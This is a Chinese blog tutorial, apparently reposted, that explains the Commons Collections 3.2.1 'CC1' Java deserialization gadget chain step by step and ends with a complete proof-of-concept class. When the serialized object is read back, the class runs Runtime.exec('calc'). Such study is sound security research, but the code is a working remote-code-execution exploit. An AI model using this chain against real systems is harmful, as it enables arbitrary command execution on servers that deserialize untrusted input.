更多内容见godownio.github.io
反射
- Constructor类型存储getConstructor获取的有参或无参构造函数。其中getConstructor参数为需要获取的构造函数形参类型,如String.class,Class[].class
- newInstance实例化对象,可从原型实例化对象,如person.getClass().newInstance()
当然这种实例化只能调用无参构造函数实例化。可以先获取构造器,再调用有参构造函数实例化,如:
Class c = person.getClass();Constructor personconstructor = c.getConstructor(String.Class,int.class);Person p =(Person) personconstructor.newInstance("abc",21);
- Field存储类里的属性。如
Field[] personfields = c.getDeclaredFields();for(Field f:personfields){...}
- Method存储获取的类方法。getMethod()获取类方法
- invoke执行获取的method方法
以上方法加declared获取私有内容,如getDecalredFields()获取私有属性
使用setAccessible(true)允许修改私有变量,私有方法等private内容
以上内容不着急理解,接着往下看
反序列化需要从能invoke执行代码的部分走到readObject,序列化时导致任意代码执行。
比如Runtime类下的exec方法就能执行系统命令,我们通常使用单形参的这个exec:
以防有人基础不牢,比如我。此处为java的一些易漏前置知识。
java以是否有static关键字区分了实例方法和静态方法。
- 实例方法:必须通过已经实例化的对象来调用。例如,如果你有一个名为MyClass的类,并且它有一个实例方法doSomething(),你需要先创建MyClass的一个实例,然后通过这个实例来调用方法,如
MyClass instance = new MyClass(); instance.doSomething();
。- 静态方法(可以直接调用的方法):可以通过类名直接调用,无需创建类的实例。例如,如果MyClass有一个静态方法staticMethod(),你可以直接通过类名调用它,如MyClass.staticMethod();
Runtime.exec()就是实例方法,需要在实例化对象上进行调用。Runtime.getRuntime()返回一个单例实例。
因为Runtime类没有公开的构造方法,getRuntime()方法实际上是返回了该类的一个单例实例。这样做可以确保整个应用程序中只有一个Runtime实例存在,这样可以更好地管理资源和环境交互
所以使用
Runtime.getRuntime().exec("calc");
就能调用系统计算器。
但是Runtime类没有继承Serializable,所以不能序列化。InvokerTransformer继承了Serializable,且其transformer调用了invoke,有invoke当然就能用invoke反射调用到Runtime中的exec。反射知识:https://www.cnblogs.com/chanshuyi/p/head_first_of_reflection.html
先把
Runtime.getRuntime.exec("calc");
改为反射调用:
其中invoke调用格式为:
方法.invoke(对象,参数)
getMethod调用格式为:
对象.getMethod(方法名,该方法参数类型)
Runtime r =Runtime.getRuntime();Class<?> c =Runtime.class;Method m = c.getMethod("exec",String.class);
m.invoke(r,"calc");
getRuntime()是不是也能顺便改成反射了呢?
//代码1Class<Runtime> c =Runtime.class;Method gMethod = c.getMethod("getRuntime",null);//getRuntime无参,即nullObject r = gMethod.invoke(null,null);//执行getRuntime,静态方法无需实例,第一个参数为null;Method execMethod = c.getMethod("exec",String.class);//exec参数类型为string
execMethod.invoke(r,"calc");
CC1
pom dependency:
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
报maven插件版本错误的:
<build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-site-plugin</artifactId><version>3.12.1</version></plugin></plugins></build>
去找个jdk源码版或者OpenJDK找对应jdk版本的sun包复制对应目录才能正常调试。
改造Runtime为可序列化
CC1用InvokerTransformer.transform代为执行invoke,且满足了继承Serializable序列化可传输的功能。
Class<?> c = Runtime.class;
是可以序列化的。
根据上面的代码1,可以很轻松地用InvokerTransformer的构造方法传入反射执行的参数。从而替代代码1
仔细阅读transform的代码,InvokerTransformer传入的第一个参数为getMethod调用的方法名,第二个参数为该方法所需的形参类型,第三个参数为该方法执行时传入的形参。而transform接收的参数为实例对象。
Method gMethod = c.getMethod("getRuntime",null);
可替换为:
InvokerTransformer getMethod =newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null});Method gMethod =(Method) getMethod.transform(Runtime.class);
因为getMethod接收的形参类型如下:
String对应String.class Class<?>对应Class[].class
进一步可简化为:
Method gMethod =(Method)newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}).transform(Runtime.class);
- 同理,
Object r = gMethod.invoke(null,null);
可以改写为:
Object r =newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(gMethod);
Method execMethod = c.getMethod("exec", String.class);
可改写为:
Method execMethod =(Method)newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"exec",newClass[]{String.class}}).transform(Runtime.class);
execMethod.invoke(r,"calc");
可改写为:
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{r,newObject[]{"calc"}}).transform(execMethod);
依旧能达到效果
如果在第三句,使用Runtime类型存储invoke结果,即Runtime.getRuntime()实例,则能在此实例上直接调用exec:
Class<Runtime> c =Runtime.class;Method gMethod = c.getMethod("getRuntime",null);//getRuntime无参,即nullRuntime r =(Runtime) gMethod.invoke(null,null);//执行getRuntime,静态方法无需实例,第一个参数为null;
r.exec("calc");
则该代码修改为InvokeTransformer版只需三句,且为链式(上一个结果传入下一个形参)
//代码2Method gMethod =(Method)newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}).transform(Runtime.class);Runtime r =(Runtime)newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(gMethod);newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}).transform(Runtime.class);
到这里就成功一半了
但是这样连续写三遍会不会很麻烦?ChainedTransformer接收一个transformer数组,且ChainedTransformer.transform()会对该数组进行链式调用。
InvokerTransformer实现了Transformer接口,new的实例可以赋值给父类或接口,即改写如下:
//代码3Transformer[] transformers =newTransformer[]{newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
TransformedMap.checkValue()触发transformer
执行命令的部分写好了,现在倒回去找触发到readObject的部分,无论是否经过ChainedTransformer,都是调用transform()方法。查看其用法:
使用到该方法的类很多,比如以下三个:
这里的LazyMap和TransformedMap都存在反序列化链。先来看TransformedMap#checkSetValue()
调用了valueTransformer的transform方法。使valueTransformer为指定的ChainedTransformer即可
注意到该类存在一个静态方法decorate(),可以绑定valueTransformer
protected构造方法大概率会被函数内其他public方法调用
那在哪调用了checkSetValue()呢?答案就在TransformedMap的父类中
在AbstractInputCheckedMapDecorator的静态内部类MapEntry的setValue方法中调用了checkSetValue()
该静态内部类继承了AbstractMapEntryDecorator,在使用entrySet()遍历entry时能调用该setValue()
Entry从理解上来看,指map内的一对键值对,如map<“key”,“value”>
protected方法也能在该类嵌套外的类直接使用
现在理一遍逻辑,把上文构造的chainedTransformer用decorate()写入this.valueTransformer。这里需要一个map作为第一个参数,新建一个HashMap传入,随便put进一个Entry,这样才能进入遍历。(一个都没有当然不能遍历,也不能setValue)
checkSetValue的参数在调用setValue时传入
HashMap<Object,Object> map =newHashMap<>();
map.put("key","aaa");Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(Runtime.class);}
为什么遍历能使用setValue()?
为什么该抽象类的MapEntry内的方法为什么能在遍历map.entrySet()时使用?下文可以略过,想要深入理解需要把AbstractInputCheckedMapDecorator从上到下分析。
首先看entrySet()函数,调用该函数会返回一个Set集合,且if默认为真,调用EntrySet静态内部类对原始的map.entrySet()进行装配(静态内部类能在外部类直接实例化)
this关键字指的是当前实例(或对象)。当代码中使用this时,它代表的是调用这个方法的具体实例。在这个特定的上下文中,意味着EntrySet构造函数接收当前实例作为一个参数,这样新创建的EntrySet对象可以访问和利用当前实例的属性和方法,比如isSetValueChecking()方法。
map.entrySet()返回由Map.Entry组成的原始集合
在EntrySet类中,迭代器使用了EntrySetInterator进行迭代
重写了迭代中会使用的next(),在这里就返回了MapEntry装饰的Map.Entry
自然调用setValue()是使用MapEntry的setValue(),而不是使用下列红框的原始setValue()
这里可能会有疑问了,为什么for循环就使用迭代器了呢?
没错,这里用到的增强型for循环(也叫foreach循环)实际上是通过迭代器实现的。尽管代码中没有显式使用迭代器。增强for循环工作原理如下:
获取迭代器:调用集合对象的
iterator()
方法,获取一个
Iterator
对象。
检查是否有下一个元素:调用
Iterator
对象的
hasNext()
方法,检查是否有下一个元素。
获取下一个元素:如果
hasNext()
返回
true
,则调用
Iterator
对象的
next()
方法,获取下一个元素。
执行循环体:将获取的元素赋值给循环变量,并执行循环体。
这意味着每次循环实际上是在使用迭代器遍历集合。
即遍历调用setValue背后的详细步骤如下:
- 获取迭代器:增强型
for
循环隐式调用transformedMap.entrySet().iterator()
,获取Iterator
对象。- 检查是否有下一个元素:增强型
for
循环隐式调用Iterator
对象的hasNext()
方法。- 获取下一个元素:如果
hasNext()
返回true
,增强型for
循环隐式调用Iterator
对象的next()
方法。- 执行循环体:将
next()
方法返回的元素赋值给entry
变量,然后执行循环体中的entry.setValue(Runtime.class)
。在
TransformedMap
的实现中,这个过程会涉及到以下类和方法:
- 其父类的
EntrySet
类的iterator()
方法返回一个EntrySetIterator
对象。EntrySetIterator
类的next()
方法返回一个MapEntry
对象。MapEntry
类的setValue()
方法调用TransformedMap
的checkSetValue()
方法来检查或转换值,然后调用原始Map.Entry
的setValue()
方法。所以
for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(Runtime.class);}
换成经典的迭代器你就会很容易理解了
//代码4HashMap<Object,Object> map =newHashMap<>(); map.put("key",null);Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);Iterator it = transformedMap.entrySet().iterator();while(it.hasNext()){Map.Entry entry =(Map.Entry<Object,Object>) it.next(); entry.setValue(Runtime.class);}
寻找readObject
牢记,最后是readObject触发反序列化。刚好在AnnotationInvocationHandler的readObject里找到了调用setValue的部分,虽然其参数不可控。
进入到setValue中,需要把memberValues设置为transformedMap,该属性在其私有构造函数中进行赋值
私有构造函数使用反射获取,修改访问权限即可。该构造函数第一个参数要求继承了Annotation接口,实际上就是要求传入注解类型,比如常用的注解Override,Target
可以继承接口或者实现接口。
- 继承接口extends指的是接口之间的关系,其中一个接口扩展另一个接口,从而获得其方法和常量。
- 实现接口implements指的是类与接口之间的关系,其中类提供了接口中定义的所有抽象方法的具体实现。
ConstructorAnnotationInvocationHandlerConstructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
满足if条件
现在构造的主代码如下:
Transformer[] transformers =newTransformer[]{newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> map =newHashMap<>();
map.put("key",null);Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);ConstructorAnnotationInvocationHandlerConstructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
需要满足这两个if判断才能进到setValue,这里的name是通过getKey()取的“键”,即
map.put("key",null)
的"key"
满足if (memberType != null)
在上文的annotationType是调用getInstance()函数,获取给定注解类的AnnotationType实例,内部使用了CAS操作,具体很复杂,不在此深入了解。
但在getInstance内部有一句,调用了其私有构造函数
构造函数把该注解类内部的所有方法名 put进了memberTypes
在调用annotation.memberTypes时,就返回了这个(name,invocationhandlerReturnType(type))的Map,
总结一下,AnnotationInvocationHandler的readObject内的
Class<?> memberType = memberTypes.get(name);
做了什么呢?就是取出注解类中为name的方法名。
比如Target注解内有value方法,如果name值为value,是不是memberType就是value?紧随其后的if判断就为真,因为get到了其值。如果name为其他字符串,就get不到值,自然if判断为假,进不了内部
满足第二个if
isInstance是一个native(C或C++实现的本地代码,不能看到代码内容)方法,作用是判断指定的对象是否是该类或其子类的实例,我们put进的value为null,当然不是。第二个判断是value值是否为异常代理类的实例(isInstance和instanceof的作用一样)
即第二个填null之外的大部分字符串都能符合要求
改变setValue参数值
这里的setValue是他赋予的值,我们要求传入的setValue参数值需要为Runtime.class,见上文代码4
回想一下,我们是在哪需要这个Runtime.class?是在代码2中的
Method gMethod =(Method)newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}).transform(Runtime.class);
只是在后面构造时一步一步用不同的函数传参,先是chainedTransformer,又是setValue
既然是在最开始的InvokerTransformer.transform中使用,刚好有一个Transformer,叫ConstantTransformer。构造函数传入常量,然后其transformer返回该常量。
那在ChainedTransformer调用最开始加一个实例化ConstantTransformer,传入Runtime.class不就完了?即:
Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};
这样就根本不用管setValue传什么了。
完整代码如下:
packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.io.*;importjava.lang.annotation.Target;importjava.lang.reflect.Constructor;importjava.nio.file.Files;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;publicclassMain{publicstaticvoidmain(String[] args)throwsException{Transformer[] transformers =newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc"}),};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);HashMap<Object,Object> map =newHashMap<>();
map.put("value","godown");Map<Object,Object> transformedMap =TransformedMap.decorate(map,null, chainedTransformer);Constructor<?>AnnotationInvocationHandlerConstructor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object annotationInvocationHandler =AnnotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);serialize(annotationInvocationHandler);unserialize("ser.bin");}publicstaticvoidserialize(Object obj)throwsException{ObjectOutputStream oos =newObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);System.out.println("serialize");}publicstaticObjectunserialize(StringFilename)throwsIOException,ClassNotFoundException{ObjectInputStream ois =newObjectInputStream(Files.newInputStream(Paths.get(Filename)));Object obj = ois.readObject();System.out.println("unserialize");return obj;}}
调式复测
在反序列化出打上断点,一路步进就能看到完整过程。
调用链完整如下:
* ObjectInputStream.readObject()
* AnnotationInvocationHandler.readObject()
* MapEntry.setValue()
* TransformedMap.checkSetValue()
* ChainedTransformer.transform()
另外,我们在上文可以看到,LazyMap.get()也调用了transform方法,下一篇讲用LazyMap构造CC反序列化链
版权归原作者 马戏团小丑 所有, 如有侵权,请联系我们删除。